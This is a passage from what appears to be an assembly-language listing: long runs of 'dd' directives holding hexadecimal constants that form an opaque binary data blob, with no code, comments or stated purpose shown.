3F0ECC3Dh, 44681082h, 820F2C11h dd 111C6814h, 82D41A08h, 2C217DF4h, 18CC8421h, 1F9C5728h dd 26CB34C4h, 3B18C012h, 0D4934380h, 9DB4B280h, 0E8A0212Bh dd 3EACE42Bh, 98146757h, 8CB22B18h, 0E874291Fh, 697CE42Bh dd 46CF2930h, 17702B2Dh, 6072B844h, 1F07599Dh, 9DC85868h dd 38E56144h, 8082B3Ah, 1C443068h, 6DAD1468h, 10CA3711h dd 1D20D117h, 0EA233CC2h, 17F8082Ch, 0E81CD3D9h, 4F6C3884h dd 9C478C70h, 4E2EE02Bh, 17D4CAB1h, 0CC1C2AD1h, 0DF13118Fh dd 2BBFC223h, 231EB831h, 0E7B091A8h, 78A8E458h, 9C468E6Eh dd 173F7586h, 14C63C78h, 0FC2F74B8h, 0CB44EE05h, 0F7C7500Fh dd 49CD32ADh, 9637509Ah, 0EE61C8Bh, 6938A5CAh, 8C2A57D0h dd 88173056h, 7820E440h, 2329463Bh, 7224C414h, 0EF233C04h dd 16FC0828h, 0F01CD8D9h, 27D1088Fh, 0C121E8C4h, 8AAB224Dh dd 0D86517BAh, 8E8C2E68h, 8817CC56h, 0E291EF75h, 1EB83933h dd 0AC911C23h, 1826D3E1h, 0BC118FA4h, 87F098C8h, 90478C25h dd 88E47088h, 2820D16Dh, 8468B15Bh, 48E737A5h, 0B7D83E17h dd 89164458h, 29DD62BDh, 0ADB45439h, 0D074918Ch, 0E0A7139Ah dd 0B18BDDEAh, 4FD108EDh, 0A2398AD3h, 0F50F7443h, 0B385F992h dd 9F6B8C16h, 71A8A44Ah, 85090C88h, 5BB6F728h, 0C89F148Eh dd 80A1889Ah, 2EFEB60Fh, 11230FA3h, 992C902Dh, 0A748684Ch dd 16B58408h, 0F81483F8h, 955698EBh, 574FA059h, 0FBCCBBB0h dd 351C05EEh, 8D31FF81h, 944905C7h, 9F7B6069h, 0AD153984h dd 220CF2B5h, 0BCE6C99Eh, 0B14E1549h, 0E6192304h, 0ED2317B4h dd 0E17C1122h, 781821F5h, 0C8DE118Fh, 20E6F070h, 886C478Ch dd 0F464E1CFh, 0AA111A41h, 0F15C881Fh, 8F541C93h, 60CA7C11h dd 7A17B5Ch, 37313F01h, 0D905FD0Ch, 0D0BE3C13h, 118C2315h dd 0FE0CB170h, 908D740Ch, 29B58A8Ch, 2D48D552h, 106C8589h dd 0C8F81421h, 4CA51412h, 0C17FF7DEh, 7AFD082Eh, 813CE528h dd 0F011F60Ch, 0DA330812h, 0C79346Fh, 0FF184287h, 6095FD2Bh dd 17186889h, 62B424CAh, 28292378h, 3C6B1CAEh, 0D5144594h dd 15C909FEh, 1D4A111Bh, 0D117088Ah, 36C21D33h, 1E1FDE8h dd 572C848Bh, 0DA847FC9h, 52575418h, 7032D912h, 8C89081Ch dd 524C560Eh, 3D56895Bh, 888AAD55h, 26565957h, 88115B58h dd 975895D5h, 14B812D1h, 87DA9845h, 0FF116A17h, 704BCF29h dd 7F6042C4h, 0E2201623h, 4B92B155h, 42EA2174h, 0D1C61470h dd 0A56EA126h, 4263BF6Fh, 343A1B0Bh, 8CF47B17h, 53885047h dd 3C7848E4h, 741BF18Eh, 7209C2EFh, 16184322h, 19F1424h dd 0B86B845Ah, 1B63598Dh, 0AC1403EBh, 7A77A8E8h, 0B8051840h dd 5650511Ch, 48BEE2BBh, 16AB12Ah, 81E3D273h, 89687441h dd 7A46249Ch, 68B60AB0h, 898513E8h, 4857C679h, 96A1CAB6h dd 6C134411h, 46194756h, 0EF3F8817h, 18EDE191h, 118FBC18h dd 0C44C49D6h, 2458C33Bh, 0C6B5E8DCh, 29B853AFh, 3AF0ADDh dd 9F412D40h, 25E82248h, 0B41DF340h, 0E408EC1Ch, 0D87F0D61h dd 2A35C744h, 0A24CB605h, 0C2D49BFh, 7561685Dh, 0C2489136h dd 0BC151390h, 0D617E9CFh, 53A271ECh, 22D54E32h, 0A281C33Bh dd 4725163Ah, 45202074h, 70701828h, 21B7A087h, 2012019Ah dd 0A6598BFCh, 40148B1h, 0AAF064AEh, 77EE3216h, 28FCBF22h dd 0F6342517h, 1C1F766Dh, 5260CCADh, 0A67AA4CEh, 0F74FC937h dd 2213D269h, 604893D9h, 9252A57Ch, 55C2F34Bh, 9D8930F8h dd 74153C61h, 342E560Fh, 4016C34Dh, 6681F79h, 225082Eh dd 0C6F93960h, 0FF44F0ACh, 0B2988462h, 65B1F5B4h, 90ACB01Dh dd 4C010CD9h, 9B160DF8h, 27484518h, 834C295Ch, 869C5765h dd 1810851Ch, 0A1F83410h, 0CD0CF5B0h, 3E9A7C46h, 5042F6C7h dd 2B3A24F8h, 85707143h, 9215DA5h, 2912B068h, 0BFB6B40Ch dd 0AD20E211h, 0C7010B73h, 359C3973h, 64213A78h, 0C123E667h dd 4DD99488h, 0D29835A9h, 8F71431h, 0B4F68C20h, 56FE4FAAh dd 71D4F810h, 35748B0Bh, 1C5A6E58h, 4585C0C2h, 0F8457488h dd 7FCC8ADAh, 1176EFCDh, 0F4CB515h, 6C680804h, 888B8A12h dd 1F1C511Bh, 83525A2h, 987A1220h, 891CF776h, 21272956h dd 12233F8Ah, 31109A62h, 23175A18h, 8E47B983h, 888713Bh dd 41C24F1h, 0C40D118Fh, 0C16C11F8h, 0F0230D46h, 0EC72AAC4h dd 2393473Ch, 725EC4E0h, 47473CD8h, 0BC4CC23h, 233CC472h dd 0B8110CF4h, 0B039BFE2h, 91A8231Eh, 3957E2A4h, 40231E9Ch dd 62E18C91h, 3CFE190Bh, 70234B47h, 187717C4h, 547284F3h dd 0ABB233Ch, 0A4E24C11h, 231E3C39h, 0E2309137h, 1E243920h dd 88099C11h, 72ACF31Ch, 31433C10h, 11EEA8E7h, 180813E1h dd 0C71046F8h, 4F0907FCh, 0E25209E8h, 0E8508A66h, 404AA129h dd 4681209Ch, 40E02B07h, 17326A45h, 0DE233CD4h, 0E2CC1106h dd 78E43BC7h, 0B8478E49h, 0ACE43288h, 546E178h, 0CAC4A423h dd 12A09B52h, 0B2C8E188h, 10408E78h, 0DCE15676h, 0EE3B9C29h dd 0EF1EDD84h, 583FF5CCh, 3E85D63Ah, 7416056Ah, 845AAD2Ah dd 19A2FCD8h, 380B74CFh, 1EF9BB84h, 92F80D12h, 0F3341A45h dd 0AFF34AB8h, 8C941E35h, 6686A9F9h, 59711003h, 4203D27h dd 0EB97EBEh, 50CD3859h, 417E2BEFh, 0A2122021h, 668957B9h dd 72957564h, 400E862Dh, 2C85FC20h, 5CD0A77Bh, 1E6222DFh dd 946A0973h, 569E0B58h, 1F44A83Ch, 8D580676h, 9599AC4Bh dd 6653AF46h, 307F5C8Ah, 0A7643ECh, 508AAC7h, 89EE8313h dd 0D157F25Eh, 2EE02D31h, 8FBD4674h, 0A2219F49h, 0C0830B84h dd 30D150D8h, 2AFC1067h, 3413BD38h, 0F59BCBDh, 391AEBDDh dd 0AAA0C819h, 0C96B1F43h, 4554BD38h, 28AFA48Dh, 5069D39h dd 14680A75h, 123DB210h, 8849DEC3h, 93EEE57Ch, 80A5812Fh dd 0C80B7B38h, 88575926h, 6A09FDD0h, 2D315F10h, 0FAFE5878h dd 0D78B2BB7h, 7584801Ah, 1BCD564Dh, 451C4D46h, 0AC78884Bh dd 0C8830C02h, 1473452Eh, 547922E7h, 6C98DF4h, 0C3995D50h dd 14099408h, 12FBD25Ah, 28CAEEB9h, 0B35E182Dh, 0D8EA1F44h dd 0DB612CB6h, 0C00DDC06h, 0C64FC2Ch, 57B6EAB8h, 0C4A9F6Ch dd 966E0381h, 0E897A440h, 6933054Dh, 495DBFC0h, 0A2090CF0h dd 144A0644h, 127529BBh, 9CF77C69h, 76A88EE0h, 6C38F989h dd 0A3EAFE8Ah, 803090E9h, 885960FAh, 0BF2F745Dh, 37D9DC26h dd 7856C670h, 45FE861Eh, 7D803A3Ah, 0C8DE023Ah, 1D64B093h dd 7546359Ch, 3642102Ah, 46422220h, 0CF1C1A24h, 4A6E120Ah dd 0FD88873h, 2D08F4EBh, 9C95BEECh, 0E6F29771h, 4BA18A7Eh dd 4CC87E6Ah, 36257066h, 481A0501h, 7589214Bh, 6148D21h dd 296ED569h, 747208B1h, 460B5848h, 0FAA408Ch, 4071957Bh dd 29857A92h, 393FB820h, 0DA59A95Dh, 568E0F0Bh, 1CDFA174h dd 60FA21FAh, 0EC4DBE7Ah, 2B0CE63Bh, 0A1E2D97Ch, 0C91391CAh dd 43A320Bh, 0E78A271Bh, 9108E454h, 75526FE7h, 57E73EEBh dd 4992E6E1h, 12D9C25Dh dd 0A8C52320h, 0C13D4874h, 1C4974ECh, 0B0E0BCBDh, 0CA105E6Dh dd 0D8D94FEAh, 9708C920h, 0C0C3B39h, 0B7FD5AE0h, 0BD891F62h dd 89C9E02Ch, 4145E608h, 7C17E10Ch, 23A668D0h, 0C1A7FCC9h dd 3B2BEB0Ch, 59FD1686h, 0EA4B4908h, 0BEDB7402h, 0F790E2D0h dd 9C971046h, 88C40B9Eh, 911A609Dh, 0D0B88610h, 0D0880F4Fh dd 8B0FD0C4h, 8D8E4A58h, 1899B734h, 0C40C16ECh, 0AFCCB06Fh dd 9E519DC8h, 0F3CE2EBh, 8F96D56h, 212C200Ah, 0D044FEF0h dd 1A39C661h, 0E8FEF010h, 44218614h, 0EF8D0F0h, 0B547908Eh dd 19707552h, 0F97E469Dh, 5180F77Eh, 2EEA700Eh, 68562FC3h dd 575725ECh, 1EB2A55Bh, 0CA3A90C0h, 1E67959Bh, 0DB7C8441h dd 0B4CA2C6Ch, 64B8EB36h, 29FFC069h, 6CF14E0Ah, 642E8D19h dd 9C2D04FEh, 98ED291Dh, 6FB71A5h, 0A148A3AEh, 1A18A462h dd 819BAFFh, 70AF0AA1h, 8D7DC75Eh, 50029244h, 9FF1B8BAh dd 29755E32h, 8C899C53h, 9D593E0Eh, 794F8E4h, 1B8A5651h dd 65756068h, 75E250C2h, 0CE1F2FA2h, 0EBEC5B11h, 14C85D42h dd 0EB443464h, 245F8CA1h, 318F4597h, 0C317D15Eh, 3CB48B81h dd 457DDB11h, 815EB37Eh, 0C45B7415h, 96B2ADD2h, 0D0EA39FBh dd 4D970E24h, 0EA2AB40Bh, 0F01096CBh, 17242990h, 0E8898121h dd 0C69C5F0Dh, 5EA7FF58h, 37329C24h, 591CB9B0h, 6518A9C6h dd 0B0579531h, 49471B40h, 7D5E164Ch, 0BC2619E0h, 0B66E45BCh dd 0E6108BCEh, 2642A4FCh, 0DA5816EDh, 0D8E19855h, 0FA2CA416h dd 0ACC49D9Ah, 330D7DA1h, 7AA61651h, 900A0411h, 89E25A34h dd 6F4A136Dh, 0C71052E0h, 770CEB35h, 0A81939E4h, 0F2AD453Bh dd 0E47990ADh, 0F6E835AEh, 758BA094h, 3867972Ch, 31B8F6ADh dd 32278DDBh, 0E1690A0h, 335907CEh, 0E9363F8h, 0EE98C6F1h dd 5890CB0h, 0EC1470DDh, 5675AC0Eh, 0EBA06BB2h, 4CE35396h dd 41F1FCF9h, 3961CB14h, 1F81A10h, 40F12227h, 2FC9180Ch dd 0AAC04F4h, 2E7F6A2Ah, 3761C4Bh, 0D068161Dh, 569620Bh dd 56CC0D84h, 0C41E6D38h, 819FD317h, 2B0B7E4Eh, 0CA2C501Dh dd 4F3F49EAh, 23FB0474h, 0E22D4091h, 0E48D2E20h, 8D04D7E9h dd 3626AB84h, 8B2C3220h, 72643007h, 562FD265h, 41D3FA2Ch dd 56B69211h, 0B2C6C45h, 0AF0F531h, 72E3DE0Eh, 4F653475h dd 0AAC65345h, 20C22A1Dh, 0FC8C7259h, 12184943h, 6AB914DBh dd 6A7A58DBh, 790AE884h, 1A914FEh, 908676B4h, 1E8C2B11h dd 29CD45A6h, 0E9D34863h, 43588A41h, 8F1D7C70h, 39A12490h dd 0FEBC2A1Dh, 0E850F09h, 0F896E95Fh, 8D4F8E23h, 0FC1C9617h dd 0DD010F8Dh, 0A439FE7Ch, 8DD672D0h, 5AC6662Ch, 732B3039h dd 648585A7h, 3E7AAD24h, 0FC89C304h, 2414EEC7h, 0BD898259h dd 212059F8h, 0F24B3827h, 3F8CD2F5h, 9B82568h, 0E421FBEh dd 8CF92489h, 0A061F8E4h, 0BCA10E5Ch, 152CA512h, 96C891Fh dd 32577CBAh, 576C66AAh, 0B7418454h, 47111B02h, 149D5E29h dd 59184165h, 0D3382E33h, 0E219FF08h, 46CAE7D4h, 0AAD8ED27h dd 0F04CA5D5h, 448508E8h, 2C107A0Fh, 0D913EA5Eh, 0DF6B8BE8h dd 8AD70851h, 0C42D88FAh, 0F95622BEh, 721744FBh, 0D956240Fh dd 8D7F83D3h, 2812A01Ch, 5A05BA4Fh, 14ED043Ah, 0CA7490D4h dd 0B05C183h, 0F9751938h, 84031108h, 0A80C5589h, 9CFFA423h dd 0C64A03E1h, 7ED8208Dh, 0E2139C31h, 1F540850h, 0F8BC085Dh dd 44BFF352h, 0C7C39859h, 5061195h, 0E505243Fh, 2C5DD8D6h dd 0BE417417h, 0C22ED4CDh, 4141F6C2h, 0F5D57C46h, 0F003816h dd 3938C683h, 0E0752F1Eh, 0ED91D1AFh, 0F32BCE01h, 238AB605h dd 0C81C9124h, 0A0C5EB14h, 0CAF4720Bh, 24B48265h, 4680F15Eh dd 83B66C89h, 82795679h, 0EA5523BBh, 819E2D52h, 80B6BAB2h dd 0F9720164h, 7CCE043Fh, 0BB5591DAh, 0A87F799Ch, 7EA643BBh dd 66C7CBCh, 4B73BC14h, 10178365h, 8E27F9Ah, 10322004h dd 0F92E1404h, 0EAF44E6Dh, 8BB3DD35h, 66F106E2h, 32BC23FCh dd 1707C4C2h, 3E1912F1h, 477CC26Bh, 40CB9207h, 0E8C7FEF5h dd 2F290384h, 0F40BC9C2h, 63024B7Bh, 2B66FC1Dh, 0F9248D27h dd 87442BBh, 2CB92251h, 3DC5FB07h, 731165A2h, 0E1A64B0Dh dd 0FF302484h, 0A1A24460h, 0EC59BF3Ch, 0D0162BA6h, 0E7505D88h dd 1CBB0513h, 562A0F4Fh, 3BC96361h, 8406ED68h, 4D83E345h dd 0DEFBC785h, 0D286429Bh, 0A746B44h, 0AB41ABA7h, 2F86F27Ah dd 27B8F4B9h, 7362FD76h, 0A7E85C0Ah, 0BD70043h, 0ACE69CF5h dd 8C065D92h, 0EBDB3EFDh, 0AFC22429h, 85D1FC5h, 4754066Ch dd 73B3A113h, 0E292A10Eh, 628840Eh, 0ECFD2A74h, 0A20542E4h dd 0E8083D0Bh, 95087561h, 5FA74E1h, 0FC90C287h, 0E910901Fh dd 231BFDF1h, 206AE310h, 0D1FE4727h, 640ECACFh, 46766F3Ch dd 595821FCh, 8C100F0Ah, 0D488A3FCh, 68945133h, 0E1FC468Ch dd 880EE087h, 0F2AD7E10h, 21EF7090h, 0A187124h, 0D0688876h dd 0A7E10452h, 0CAFAD19Bh, 188871EFh, 0A86C43EDh, 0A1DF43A6h dd 0E15E0488h, 648548A8h, 93107A12h, 0C510EA65h, 1EC2E9DEh dd 0B692AB86h, 96C859B5h, 0FEAD8C3h, 4BE78E38h, 0F0995AF2h dd 73561280h, 0C033620Dh, 0C2A0A779h, 0A297C5Eh, 724BA738h dd 3E73806Dh, 8866FB6Bh, 5D72FF10h, 0B6C25016h, 554203B8h dd 66ACD73h, 0C8CF0D64h, 100AFF70h, 0B9C4FD7Ch, 0CCC36958h dd 0DDBF106Eh, 3476CE8h, 95247A7Ah, 18A0644Fh, 246A7D13h dd 0D6B89DABh, 6D4FFFFCh, 0D72AF3C9h, 2D02245Fh, 37925589h dd 0F48A5B53h, 0AE54F6F9h, 7CBF8043h, 9DFAA6FAh, 3485EB92h dd 8DE9ACF0h, 9DF02980h, 740DC478h, 0F404831Bh, 46E6AB5Eh dd 64FA7884h, 0CC11ACA6h, 0A014F402h, 214A21Fh, 0E814FA74h dd 292386F9h, 383E4DDDh, 4784BC3Eh, 284A1FAh, 0D23ECA7Bh dd 0F41109C9h, 393A138Fh, 451600ABh, 39E35903h, 5C68A03Ah dd 4C149F02h, 0CA4B1843h, 3468F1DDh, 0C8EB6D8Bh, 6AF83154h dd 8D85C4EEh, 16C5B821h, 63219D88h, 823C3474h, 6E5629B1h dd 5B79279Ah, 0D45C2450h, 0C9C1F78Bh, 4DA71410h, 26ED9D0Ch dd 0ED14969Ah, 79869204h, 907BAD65h, 70A3F422h, 2E62FE88h dd 0CC421D7Bh, 0C8081DC6h, 0D8F6201h, 6983044Dh, 52A468D6h dd 0BD848233h, 0F576DE3Fh, 0A0682602h, 0ADF4DB01h, 40597EE8h dd 719989E4h, 9206A6BFh, 69EF00CAh, 11759501h, 4241E825h dd 3010AAE2h, 0EE11B901h, 0D42ED0A3h, 839DAB1Bh, 1378C591h dd 77BD106Ah, 0A497FAA4h, 4B5E613Ch, 0E237A856h, 271288B5h dd 50528449h, 0A772EA53h, 5E9E909Dh, 0D233A450h, 71DBFA4h dd 53B37C25h, 70456EF6h, 25A7A63Eh, 8A8C7BC6h, 5A9D0C68h dd 0CD57ED42h, 0EFD325FFh, 0BA24E49Ch, 5F7CB462h, 0C0FB1413h dd 12EB1F04h, 95BB35FFh, 1A79A6CCh, 7D298868h, 20446597h dd 0CE3FB444h, 0FE2526E8h, 0ED2DA6BAh, 9171EF1h, 0EBC258D9h dd 3AD7E20Dh, 184D7C10h, 268D89FEh, 1454682Bh, 582CB8BDh dd 9A0CB396h, 5CEF1C8h, 28146827h, 0FF21EC20h, 0C0336241h dd 1EC9A37Eh, 72233186h, 6A62B229h, 37247A9Ch, 5663DC68h dd 31C70BC8h, 40F53B98h, 4EB0F823h, 0E08BF21Eh, 543920B4h dd 4D74369Ch, 0C78EB579h, 7B570CDAh, 0F9F86263h, 0FC032E11h dd 0CB2522CCh, 0EF8D4A54h, 0BD0E6678h, 0D331C565h, 0D83A6BEBh dd 76952C23h, 99756788h, 3A62F971h, 1B920981h, 0DFF8905Fh dd 2B4F56EBh, 0BF3C0FB2h dd 0FE4BD745h, 94C7274Eh, 21CD7EFAh, 0F24216F8h, 5174F1ADh dd 9D47246Ah, 6B73DA41h, 25EF71AFh, 5764077Ch, 22B89435h dd 437E5016h, 381531DAh, 0B15FB127h, 0D9162E8Eh, 681D54A7h dd 0B8415728h, 0A20AF5DFh, 303710FCh, 2A10D928h, 89B191E3h dd 2B12E3Dh, 0E18CD148h, 92BCF82Bh, 6AC04CBBh, 104B15A6h dd 0F8C96DECh, 24D9875h, 0ECC34FC9h, 67529422h, 2E7C0878h dd 741A86D0h, 0DF943929h, 6F87C4Ch, 0F84D8305h, 0C7EFEB02h dd 56FD63EEh, 0D689EB8Dh, 9D66D5DEh, 548B7340h, 0B9680BF0h dd 0FEC6122Ch, 5502D71h, 2EC5FF15h, 3A5C89EEh, 8D8295A8h dd 44DDD8BDh, 0F3D444CCh, 88B9AB1Bh, 0B42610B3h, 0D0B08EFCh dd 51840F83h, 26AADD4Eh, 454318BAh, 9E723410h, 6886A022h dd 5DF6FFD4h, 0E926F95Bh, 34E80F19h, 0B262A86Bh, 63465709h dd 255129Dh, 56012806h, 1215C5BDh, 0F335EE4Fh, 0DC2C48EAh dd 1E2128A1h, 0FB956120h, 0C8BB8C63h, 0FF0333C3h, 0F147D39h dd 0CC218E85h, 91320C12h, 0DCFA868Ah, 86A2963h, 1C7D8C73h dd 0CED0F8A2h, 412489B6h, 59717417h, 0B3FD0C15h, 4271E010h dd 0E43542Eh, 0EB059897h, 9512A40Ch, 0F4528D7Eh, 0C7F4A542h dd 0DF100872h, 5471742Dh, 0D6A01461h, 0DC2515EBh, 7523390Dh dd 5EC2338Ah, 739A43E6h, 13026FA2h, 2B4D53D6h, 0C8477C25h dd 8157C584h, 2F1F0F31h, 576866B6h, 6A5A33C7h, 14B84985h dd 5657DDEh, 75CE7309h, 23CB2D61h, 29816C8h, 26FB72BAh dd 0C9A66819h, 5B1E1042h, 943879BDh, 0FD688442h, 4AD8AB65h dd 2CD68CF8h, 6C4072EFh, 1CFE6831h, 18F032CAh, 0BA4A5F49h dd 12B71D14h, 0E3C45DE7h, 70CF1469h, 1DE82153h, 5F486221h dd 85566021h, 715C2D33h, 13E5EC91h, 0EC95BA11h, 521E1ABh dd 2A123DFEh, 7419FEFCh, 22562616h, 6F09CF11h, 0DD739333h dd 0DD6C48C7h, 0EF565185h, 922E698Dh, 5274FC40h, 2B0CDB18h dd 0F16DEC6h, 0DC624DDAh, 377CC80Dh, 0C6F02BE2h, 0BACED30Dh dd 7C09908Fh, 41DD1424h, 22A7FC97h, 1C6ADE10h, 0EC25574Eh dd 67694BEh, 27F435D8h, 0D6267E2Fh, 205271F1h, 590ACAEh dd 0D688278Eh, 26A83B46h, 8EA6DA7Ch, 8A5F5356h, 3403B59h dd 68245C8Bh, 37B87E18h, 0DAF2A782h, 27D6A030h, 6D54167Eh dd 6CE85F72h, 47071F14h, 0EA7CFE3Bh, 0FC0224B5h, 0FFC38B5Fh dd 0C870864Eh, 8DAC2F83h, 5704F1D1h, 0B2AFBF50h, 938D7D15h dd 0F7D2EA83h, 5BA28104h, 77F24675h, 0B23C2459h, 2448121Eh dd 0BF40C201h, 3F15D957h, 627E7E42h, 0EB1D7060h, 0A29D395Bh dd 0EAD38F27h, 4C140F6Ch, 755A8036h, 0A168BF3Eh, 52493C10h dd 4F463028h, 22645264h, 90013123h, 13886021h, 0F8E402C7h dd 35741593h, 0EF0FF4D6h, 0B52A138Dh, 0F1FC3B54h, 0F0BE07E0h dd 7B5439DFh, 0B1ECCF1Eh, 0BE789992h, 5D23423Ch, 1E9608A5h dd 3F08E4D1h, 3CE0578Eh, 2144DC88h, 1E94D872h, 19D4BE34h dd 48057D0Fh, 0ADC7A6D0h, 0D3A4AB6Fh, 41EF1038h, 4E1ECC84h dd 106AC445h, 1CA688A8h, 4D58F876h, 0F40864B9h, 0F90AB3C6h dd 5F7957E6h, 0CDBFFC12h, 0D3763978h, 205AB0F2h, 0C33B14E8h dd 3C157D32h, 0E849A5C8h, 75D04CD2h, 4C237F0Bh, 0F8A824EBh dd 0D197D64h, 51284D8Dh, 0B95E2A88h, 680FEB02h, 0AA26B9C4h dd 359B0C0Ch, 95495F6Bh, 89C526Ah, 1820E244h, 14FCB5A1h dd 5646E847h, 4B52B537h, 84B4D0CDh, 20C8AD26h, 8BFE25E5h dd 0B8AC49CCh, 0D19D84DBh, 24B0A44Ch, 7CBE0D96h, 0B1E43F4Fh dd 8D151674h, 75F94F46h, 59BFD856h, 8BBCC0B6h, 800E8B0Ah dd 104D3BB1h, 0B2947E0Fh, 2D83F87Fh, 71DC14C6h, 7267B818h dd 2584B4CBh, 4249EF8h, 8DBC5BBFh, 29808514h, 0C312D2Dh dd 84C35DBAh, 0D0D8B8B1h, 0AE388006h, 0A2050F2Dh, 0D23D47ACh dd 0EE7C1DAFh, 8B5641EBh, 45F669F7h, 9388E813h, 8D10F442h dd 95CED786h, 44DB8195h, 387D1C24h, 1ED22664h, 0DDCA64Dh dd 142932C3h, 2213E016h, 807DE430h, 5E2AF042h, 0FCC35FCAh dd 18DFA50Bh, 57A5F317h, 62163DD4h, 0B1DC5996h, 8A7593D2h dd 0D02AA77Bh, 0BDB85BBFh, 1F21F0A8h, 0D0D87042h, 3C3C488Ch dd 8D981D96h, 896504BEh, 0F5562D12h, 6DB556CCh, 0C3DCAD41h dd 34244074h, 0A0100246h, 9B0214Bh, 210A5553h, 0DB338E14h dd 67DED49h, 0B53679E4h, 7D245152h, 57C03371h, 0BCB6FF53h dd 0BE8D8AF2h, 20B12006h, 390CA11Ch, 0C403741Fh, 0C889775Dh dd 15BCE02Ah, 2206D89Eh, 4E5295DCh, 0CC957674h, 0E4218105h dd 0D0058812h, 42F0060Ah, 0C0AC3716h, 0E8B68DC2h, 0E51F3587h dd 0A5102736h, 0C585C21Eh, 0A052715Dh, 0A5EE878Ah, 0D3CE22FDh dd 2B3FC411h, 0C5BE4301h, 36B8CBE0h, 916A6C51h, 30F425AAh dd 0CF88BE14h, 5EA1646h, 0AE1A75D6h, 39600087h, 0FA04743Eh dd 574A98DFh, 3164953h, 4B4310FFh, 0DC084388h, 0BFCF97A2h dd 7B822E74h, 0F8CE93B9h, 1543B11h, 1750424h, 47C18140h dd 0D8F96227h, 3FE92686h, 22D2D2CAh, 413B3142h, 11CD0835h dd 0AC422148h, 0C35E0D22h, 4B08C28Bh, 396060D1h, 4B742445h dd 0EB288509h, 20E9F1DDh, 0B9D18748h, 1D7E0F10h, 1CA728F2h dd 5E4A6495h, 8F3CA320h, 332D1AEBh, 0C38211Fh, 13773EEh dd 1F096AC7h, 0EB1493E5h, 59284DCEh, 17D9B5D4h, 627F54A7h dd 0C8448889h, 64D80CC8h, 19E032DCh, 8BE80CE4h, 0B01BC9DFh dd 0B5CD24E4h, 0A3E27Ah, 840E8A58h, 0BF5A74C9h, 28DC7B7Ah dd 129F0C9Fh, 4C83D29Fh, 0AB2AF980h, 3F0A242Eh, 5B0A32A7h dd 3A0BEF08h, 5FB82ACAh, 62F0F025h, 50460A8Dh, 89450807h dd 0C5D59931h, 9AF8DA6h, 0F2DC13EBh, 43D629ECh, 464E185Dh dd 90A0EB47h, 502A7EEEh, 0A91D5F0Bh, 0B42F010h, 6BDFCA12h dd 4B0AFBD3h, 0C429EA3Ah, 0A86B2721h, 896DD6Ch, 0E02AF75Bh dd 0E7D210Ah, 398058F8h, 759080D3h, 0CDF4106h, 110AA67Ch dd 198A2C30h, 5DFB3380h, 2D26396Ch, 0B33C094Ch, 0F02D1C3Dh dd 0B0418A2Ch, 0EC71731Ch, 3AFF0049h, 3C1F7DC8h, 1B3B745Dh dd 163EE439h, 0A7F7D7FBh, 0D93AC08Ah, 0D8E8177Ch, 0A8137F30h dd 375F3289h, 3EFB0CEBh, 75183A01h, 162B3D03h, 0D4AF8302h dd 0A6820C64h, 2B98F8A2h, 0C88BD2C2h, 0F937602Bh, 0C4B2F93Bh dd 1F7AFF51h, 0D68CC94Dh, 84A724AEh, 439DEF8Dh, 120E5496h dd 0E8A01618h, 8A1C09F5h, 0A2D1109h, 10EB0D04h, 40B48515h dd 20210789h, 0C5DBE0EBh, 42EEA19h, 0F5A01EBDh, 3A088A0Fh dd 1198FCBh, 741A3816h, 667CB93Eh, 0FC4E0B1Dh, 12059319h dd 36F10960h, 7D38965Fh, 62076C3Ch, 106A8A3Ah, 741E7FBCh dd 124C8A24h, 0C605F2D3h, 34E8EBB9h, 3011F1CAh, 565B9CBh dd 0AEA62965h, 0C4750AACh, 0D363B20h, 51970CF8h, 0C944906h dd 0F901CC55h, 0F73E304Ch, 3103C130h, 5B8A1474h, 8A0AAA01h dd 75410F40h, 80C205F1h, 0FFBA012Eh, 0F7EE2FEh, 0F083D003h dd 0FBC23304h, 0E3A99282h, 748189FEh, 0FC41F28Ch, 0E4E83259h dd 24D427B0h, 137C6605h, 8110DF0Fh, 8DCDEB02h, 5681FE41h dd 90C3C12Bh, 0FDB2FE14h, 5EFC4716h, 5220B522h, 0A6D0B767h dd 0FEE006CFh, 4291A4AFh, 7FE41A59h, 0D7E0D832h, 0FD22D6ECh dd 64DF8B0h, 78F08BE4h, 0E0164E08h, 6E0C2080h, 9C503D0Dh dd 9BFC423Bh, 0C62B2858h, 0F725D25Eh, 13605508h, 47BF0985h dd 858A0305h, 0F9AC401Ch dd 7204FA83h, 0D9F72D1Dh, 7403E1C7h, 88D12BF0h, 49470907h dd 0E009FA75h, 0C82CE4F5h, 0CA86100Fh, 30CE283h, 67402E9h dd 7776ABF3h, 0B24A49C8h, 61C65F7Fh, 5812058Bh, 81C18366h dd 24C74108h, 1A213910h, 0BC0FD9F8h, 8C329F7Dh, 42263189h dd 0F685E8E3h, 1EB03590h, 7435FF2Eh, 0EC46754Bh, 9C94D828h dd 7C83C318h, 6E77E078h, 89F02722h, 16D610C0h, 74B9C539h dd 1142010h, 5084BA05h, 1AC3B1DEh, 7AB8E4A1h, 6008B2E9h dd 751B0321h, 0C9A3B15h, 563F7721h, 43440B4Bh, 0C4346C74h dd 75290234h, 20349C2Dh, 708D8D00h, 26E6830Fh, 0CC5EBF0h dd 0CC5A5E10h, 4F424020h, 2421ED1Fh, 0D70E3704h, 0B1C8133Ch dd 8A2C901Eh, 5EE6489Ah, 2CC65083h, 0D869656h, 0D8AFE035h dd 0F0942015h, 96CCA032h, 5795A901h, 4441E235h, 0E431104Dh dd 19006C45h, 3BC603D1h, 0B0767AFEh, 820F1309h, 0F73F4478h dd 141DCCC7h, 32AB2C92h, 7208F998h, 1900294Eh, 0EA889524h dd 5024B240h, 48831DBAh, 0C3A6EE9h, 63FCE0BDh, 0A08530C8h dd 8D0E18ECh, 903FCC98h, 66841C11h, 9DC29B0h, 231B84E1h dd 6D978AD1h, 0DD014642h, 26D19D2h, 0B49012AFh, 5DC72AC6h dd 8DC5CC42h, 172C2949h, 413B6826h, 0BA611E6h, 19249029h dd 42474546h, 409C8C1Ah, 6C0F7F66h, 5C644409h, 4C125489h dd 3C484424h, 8E1F53A8h, 8F5D89E4h, 2EE81132h, 0E9EC2291h dd 912EF012h, 12E9F422h, 22912EF8h, 728DE8FCh, 0E2BB104h dd 0F849F003h, 48F10A14h, 9C8A0F1h, 49C091ACh, 425E2EE7h dd 909E9094h, 0FA64E40Ch, 0A4551234h, 0B51B50Eh, 748D832Ch dd 7CD01D31h, 0E4802439h, 500D3824h, 0C4FCE4FDh, 24EC20F1h dd 6645E685h, 0F035EBD0h, 8CF99028h, 28102B42h, 0EC20C4EBh dd 5819384Ch, 0B28009C8h, 3B4303DCh, 4E65E075h, 57084FB3h dd 98477BB6h, 8CA45320h, 91EF06EEh, 2A8C947Eh, 289690B2h dd 0E2AC4BD4h, 0EFAC85EEh, 